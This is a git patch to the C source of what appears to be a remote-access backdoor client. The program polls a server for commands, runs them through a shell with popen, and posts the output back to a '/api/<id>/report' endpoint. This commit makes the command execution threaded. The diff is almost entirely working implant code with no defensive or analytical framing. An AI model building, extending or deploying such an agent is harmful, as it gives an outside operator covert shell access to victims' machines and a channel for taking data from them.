From 7baea7acdb935d47d68e7851621803e7e7d67d80 Mon Sep 17 00:00:00 2001 From: pupuupup Date: Tue, 6 Apr 2021 21:34:08 +0700 Subject: [PATCH] finish up threaded cmd --- src/main.c | 30 ++++++++++++++++-------------- 1 file changed, 16 insertions(+), 14 deletions(-) diff --git a/src/main.c b/src/main.c index 709dd32..05286fb 100644 --- a/src/main.c +++ b/src/main.c @@ -5,6 +5,7 @@ #include #include #include +#include #define BUFFER_SIZE 256 @@ -199,11 +200,12 @@ char* post_request(char *path, char *post_data, bool json) } else { - curl_easy_setopt(curl, CURLOPT_TCP_NODELAY, 1L); - curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); + char *escaped_post_data = curl_easy_escape(curl, post_data, strlen(post_data)); + char *final_post_data = malloc(strlen(escaped_post_data) + BUFFER_SIZE); + sprintf(final_post_data,"output=%s",escaped_post_data); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); - curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data); - curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(post_data)+1); + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, final_post_data); + curl_free(escaped_post_data); } curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data); @@ -218,10 +220,10 @@ char* post_request(char *path, char *post_data, bool json) /* ----------------------------------------------------------------------- * * Action Threads * ------------------------------------------------------------------------ */ -char* send_output(char* output, bool newlines) +void send_output(char* output, bool newlines) { char *output_temp = malloc(strlen(output)+BUFFER_SIZE); - if(output!= NULL && output[0] == '\0') return ""; + if(output!= NULL && output[0] == '\0') return; if(newlines) { strcpy(output_temp,output); @@ -229,10 +231,8 @@ char* send_output(char* output, bool newlines) } else strcpy(output_temp,output); char *path = malloc(BUFFER_SIZE); - char *post_data = malloc(strlen(output_temp)+BUFFER_SIZE); sprintf(path, "/api/%s/report", get_unique_id()); - sprintf(post_data,"output=%s",output_temp); - return post_request(path, post_data, false); + post_request(path, output_temp, false); } char* say_hello() @@ -248,8 +248,9 @@ char* say_hello() return post_request(path, post_data, true); } -void do_command(char* command) +void* do_command(void* input) { + char* command = (char*)input; command = realloc(command, strlen(command)+BUFFER_SIZE); printf("%s",command); sprintf(command, "%s 2>&1", command); @@ -259,8 +260,7 @@ void do_command(char* command) FILE *f = popen(command, "r"); if(f == NULL) { - perror("popen:"); - return; + pthread_exit(NULL); } while(fgets(buffer, sizeof(buffer), f) != NULL) { if(strlen(output) >= buffer_size-300) @@ -276,6 +276,7 @@ void do_command(char* command) printf("\n"); send_output(output, true); pclose(f); + pthread_exit(NULL); } /* ----------------------------------------------------------------------- * @@ -309,7 +310,7 @@ void setup() void run() { - char *todo = malloc(BUFFER_SIZE); + char *todo = malloc(BUFFER_SIZE*2); char *output = malloc(BUFFER_SIZE); while(1){ todo = say_hello(); @@ -321,6 +322,7 @@ void run() send_output(output, true); char *command = get_command(todo); int args_len = get_args_len(todo); + pthread_t tid; if(strcmp("cd",command) == 0) { if(args_len == 0) @@ -362,7 +364,7 @@ void run() */ else { - do_command(todo); + pthread_create(&tid, NULL, do_command, todo); } } else